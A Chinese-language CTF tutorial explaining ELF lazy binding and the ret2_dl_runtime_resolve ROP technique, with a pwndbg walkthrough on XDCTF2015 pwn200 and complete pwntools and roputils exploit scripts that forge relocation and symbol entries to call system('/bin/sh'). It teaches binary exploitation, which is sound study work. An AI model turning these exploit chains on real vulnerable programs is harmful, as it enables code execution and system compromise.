ROP高级用法之ret2_dl_runtime_resolve

简介

我们知道在Linux中如果程序想要调用其他动态链接库的函数,必须要在程序加载的时候动态链接;在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块;所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候才进行绑定(符号查找、重定位等);
而在Linux 中是利用_dl_runtime_resolve(link_map_obj, reloc_index)函数来对动态链接的函数进行重定位的;

_dl_runtime_resolve函数具体运行模式

首先总的来说一下_dl_runtime_resolve函数如何使程序第一次调用一个函数:

  1. 首先用link_map访问.dynamic,分别取出.dynstr、 .dynsym、 .rel.plt的地址;
  2. .rel.plt + 参数reloc_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel;
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym;
  4. .dynstr + sym->st_name得出符号名字符串指针;
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表;
  6. 最后调用这个函数;

ELF关于动态链接的关键section

.dynamic

dynamic一般保存了ELF文件依赖于哪些动态库,动态符号节信息,动态符号节信息;
.dynamic是GOT表的第一项;GOT表的第二项是link_map的地址,第三项是_dl_runtime_resolve函数的地址,第四项开始才是函数的GOT表;
.dynamic结构:
ROP高级用法之ret2_dl_runtime_resolve_第1张图片

.dynsym

动态链接的 ELF 文件具有专门的动态符号表,其使用的结构就是 Elf32_Sym,但是其存储的节为 .dynsym

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

.dynsym 是运行时所需的,ELF 文件中 export/import 的符号信息全在这里
objdump -s -j .dynsym ./test 查看.dynsym基地址和内容

.dynstr

此节区包含用于动态链接的字符串,大多数情况下这些字符串代表了与符号表项相关的名称;
objdump -s -j .dynstr ./test 查看.dynstr基地址和内容

.rel.plt

这里是重定位表,也是一个结构体数组,每个项对应一个导入函数;

typedef struct
{
  Elf32_Addr    r_offset;   /*  这个值就是got表的虚拟地址 */
  Elf32_Word    r_info;     /* .dynsym节区符号表索引 */
} Elf32_Rel;
#define ELF32_R_SYM(val)((val) >> 8)
#define ELF32_R_TYPE(val)   ((val) & 0xff)

objdump -s -j .rel.plt ./test 查看.rel.plt基地址和内容

现在我们通过一个实例来解释上面的过程:
任意打开一个ELF程序,这里我用XDCTF2015的pwn200中的strlen函数为例;
在0x8048588下断点;

0x8048579 <main+90>     call   setbuf@plt <0x8048390>
 
   0x804857e <main+95>     add    esp, 0x10
   0x8048581 <main+98>     sub    esp, 0xc
   0x8048584 <main+101>    lea    eax, [ebp - 0x6c]
   0x8048587 <main+104>    push   eax
 ► 0x8048588 <main+105>    call   strlen@plt <0x80483b0>
        s: 0xffffbd8c ◂— 'Welcome to XDCTF2015~!\n'
 
   0x804858d <main+110>    add    esp, 0x10
   0x8048590 <main+113>    sub    esp, 4
   0x8048593 <main+116>    push   eax
   0x8048594 <main+117>    lea    eax, [ebp - 0x6c]
   0x8048597 <main+120>    push   eax

然后si进入call strlen@plt;

0x80483b0  <strlen@plt>                jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+20] <0x804a014>
 
   0x80483b6  <strlen@plt+6>              push   0x10 //参数n
   0x80483bb  <strlen@plt+11>             jmp    0x8048380
    ↓
   0x8048380                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x8048386                              jmp    dword ptr [0x804a008] <0xf7fead80>
       ↓   
   0xf7fead80 <_dl_runtime_resolve>       push   eax
   0xf7fead81 <_dl_runtime_resolve+1>     push   ecx
   0xf7fead82 <_dl_runtime_resolve+2>     push   edx

我们看到程序没有直接转到strlen函数,而是跳转到了_dl_runtime_resolve函数;并且push了两个参数:

push   0x10 //参数n
push   dword ptr [_GLOBAL_OFFSET_TABLE_+4]<0x804a004>

刚好是_dl_runtime_resolve(link_map_obj, reloc_index)需要的参数;其中0x804a004就是link_map指针,然后0x10就是reloc_index;

我们来看看如何通过这两个参数找到strlen函数的;
首先查看link_map的地址0xf7ffd940:

pwndbg> x/wx 0x804a004
0x804a004:	0xf7ffd940

然后通过link_map找到.dynamic的地址:

pwndbg> x/10wx 0xf7ffd940
0xf7ffd940:	0x00000000	0xf7ffdc2c	0x08049f14	0xf7ffdc30
0xf7ffd950:	0x00000000	0xf7ffd940	0x00000000	0xf7ffdc20

其中第三个地址就是.dynamic的地址,即0x08049f14;
然后通过.dynamic来找到.dynstr、 .dynsym、 .rel.plt的地址:

pwndbg> x/40wx 0x08049f14
0x8049f14:	0x00000001	0x00000001	0x0000000c	0x08048358
0x8049f24:	0x0000000d	0x08048624	0x00000019	0x08049f08
0x8049f34:	0x0000001b	0x00000004	0x0000001a	0x08049f0c
0x8049f44:	0x0000001c	0x00000004	0x6ffffef5	0x080481ac
0x8049f54:	0x00000005	0x08048278	0x00000006	0x080481d8
0x8049f64:	0x0000000a	0x0000006b	0x0000000b	0x00000010
0x8049f74:	0x00000015	0xf7ffd920	0x00000003	0x0804a000
0x8049f84:	0x00000002	0x00000028	0x00000014	0x00000011
0x8049f94:	0x00000017	0x08048330	0x00000011	0x08048318
0x8049fa4:	0x00000012	0x00000018	0x00000013	0x00000008

.dynamic的地址加0x44的位置是.dynstr;
.dynamic的地址加0x4c的位置是.dynsym;
.dynamic的地址加0x84的位置是.rel.plt;

然后用.rel.plt的地址加上参数n,即0x08048330 + 0x10找到函数的重定位表项Elf32_Rel的指针,记作rel;

pwndbg> x/10wx 0x08048330
0x8048330:	0x0804a00c	0x00000107	0x0804a010	0x00000207
0x8048340:	0x0804a014	0x00000407	0x0804a018	0x00000507
0x8048350:	0x0804a01c	0x00000607

这里rel为0x8048340,所以:

r_offset = 0x0804a014   //指向GOT表的指针
r_info = 0x00000407

然后我们将r_info>>8,即0x00000407>>8 = 4作为.dynsym中的下标;
此时我们来到.dynsym的位置,去找找strlen函数的名字符串偏移;

pwndbg> x/20wx 0x080481d8
0x80481d8:	0x00000000	0x00000000	0x00000000	0x00000000 //dynsym[0]
0x80481e8:	0x00000033	0x00000000	0x00000000	0x00000012 //dynsym[1]
0x80481f8:	0x00000027	0x00000000	0x00000000	0x00000012 //dynsym[2]
0x8048208:	0x00000052	0x00000000	0x00000000	0x00000020 //dynsym[3]
0x8048218:	0x00000020	0x00000000	0x00000000	0x00000012 //dynsym[4]

注意是下标,不是相对与.dynsym地址的偏移,如果是找地址偏移需要下标*0x10;
所以这里的name_offset = 0x00000020;
然后用.dynstr的地址加上name_offset,就是这个函数的符号名字符串st_name;

pwndbg> x/s 0x08048278 + 0x20
0x8048298:	"strlen"

最后在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表就可以了;

思路

事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为"system";
而index_arg即参数n是我们可以控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控;我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr;
所以我们需要在程序中找一段空间出来,放我们直接构造的fake_dynsym,fake_dynstr和fake_rel_plt等;

计算index_arg

$ objdump -s -j .rel.plt ./test
./x86: file format elf32-i386
Contents of section .rel.plt:
 08048298 0ca00408 07010000 10a00408 07030000  ................
 
index\_arg = fake\_rel\_plt_addr - 0x08048298 

r_info的计算方法

r_info的计算方法是:

  1. n = (欲伪造的地址-.dynsym基地址)/0x10
  2. r_info = n<<8
    比如:
$ objdump -s -j .dynsym ./test
./test: file format elf32-i386
Contents of section .dynsym:
 80481cc 00000000 00000000 00000000 00000000  ................

x = ((0x0804A040 + 4*4) - 0x080481cc)/0x10
r_info = x<<8 = 0x1e800
还需要过#define ELF32_R_TYPE(val)   ((val) & 0xff)宏定义,ELF32_R_TYPE(r_info)=7,因此
r_info = 0x1e800 + 0x7 = 0x1e807

计算name_offset

$objdump -s -j .dynstr ./test
./test: file format elf32-i386
Contents of section .dynstr:
 804821c 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s

st_name = fake_dynstr_addr - 0x804821c 

构造的ROP:
ROP高级用法之ret2_dl_runtime_resolve_第2张图片

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './main'
p = process(name)
#p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:
    gdb.attach(p)
    
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x8048330
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x8048278
resolve_plt = 0x08048380
leave_ret_addr = 0x0804851D
start = 0x804aa00

fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x7

n = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr


fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"


pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)

p.recvuntil('Welcome to XDCTF2015~!\n')
p.sendline(pay1)

pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr

p.sendline(pay2)

success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))

p.interactive()

通用脚本

#!/usr/bin/env python
# coding=utf-8
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'main'
offset = 112

r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)

bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

你可能感兴趣的:(Pwn,CTF)